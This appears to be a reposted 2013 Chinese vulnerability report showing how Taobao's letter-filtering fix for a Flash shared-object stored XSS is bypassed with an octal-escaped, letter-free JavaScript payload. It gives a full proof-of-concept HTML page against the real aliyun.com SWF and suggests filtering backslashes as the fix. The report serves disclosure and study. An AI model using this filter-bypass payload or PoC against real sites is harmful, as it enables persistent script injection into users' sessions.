记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

一个flash的0day导致的淘宝网存储xss[续集]

2013-11-27 14:35
今天看了 http://www.hackdig.com/Article/201311/259981.html 这个帖子,思路挺有意思!狂顶赞!不过作为一个职业的马甲,看了下淘宝对这个漏洞的修复措施,发现修复并不彻底,提交下!
 
反编译了一下http://acjstb.aliyun.com/actionlog/flash/JSocket.swf这个文件。
 
淘宝的修复代码如下:
 
 

public function getlso():String{

var _local1:SharedObject = SharedObject.getLocal("kj");

var _local2:RegExp = new RegExp("[a-zA-Z]");

if (_local1.data.key == undefined){

return ("");

};

if (_local2.test(_local1.data.key)){

this.setlso("");

return ("");

};

return (_local1.data.key);

}

 

 
 
 
 
可以看到,多加一个正则表达式,如果存储的key里存在 [a-zA-Z]的字符,则调用 setlso("");
 
 
 
把所有字母都过滤掉了,那么这样是否就完全不能执行JS代码了呢?
 
 
 
根据帖子( WooYun: 一个flash的0day导致的淘宝网存储xss(可形成永久后门) )作者neobyte的描述。
 
 
 
实际上执行的是JS代码。
 
 
 
eval(var __flash_temp = "returned value"; __flash_temp;)
 
 
 
 
我们来尝试构造一个不需要使用任何字母执行代码的版本。
 
 
 
var __flash_temp = "returned value\\"['substr']['constructor']('alert(1)')();//";
 
 
 
 
解释:
 
 
 
"字符串"['substr']['constructor'] 得到 function Function() { [native code] }
 
 
 
"字符串"['substr']['constructor']('alert(1)')() 等同于
 
 
 
Function('alert(1)')()
 
 
 
接着,我们把上面代码里的字符串全部使用8进制转义。
 
 

var __flash_temp = "returned value\\"['\163\165\142\163\164\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')();//";

 

我们所输入的代码,实际上是
 

\"['\163\165\142\163\164\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')();//

 

可以看到,不包含任何字母,这样可以成功绕过淘宝的过滤措施。
 
 
 
具体利用代码,见漏洞证明。
 
代码从原帖里直接复制过来的(代码版权归neobyte所有),只是把setlso的数据换了下。
 
 

<html>



<body>



<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">



<param name="movie" value="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf">



<param name="allowScriptAccess" value="always">



<embed name="JSocket" src="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">



</object>



<script>



function set(){document['JSocket'].setlso('\\"[\'\\163\\165\\142\\163\\164\\162\'][\'\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162\'](\'\\141\\154\\145\\162\\164\\50\\61\\51\')();//');}



setTimeout("set()",5000);



</script>



</body>



</html>

 

访问这个页面后,再访问 login.taobao.com即可看到效果。
 
 
修复方案:
我觉得根据漏洞成因来看,正确的修复方式是,过滤掉数据里的 反斜线 \,而不是过滤字母
知识来源: www.2cto.com/Article/201311/260062.html

阅读:73832 | 评论:0 | 标签:xss 0day

想收藏或者和大家分享这篇好文章→复制链接地址

“一个flash的0day导致的淘宝网存储xss[续集]”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云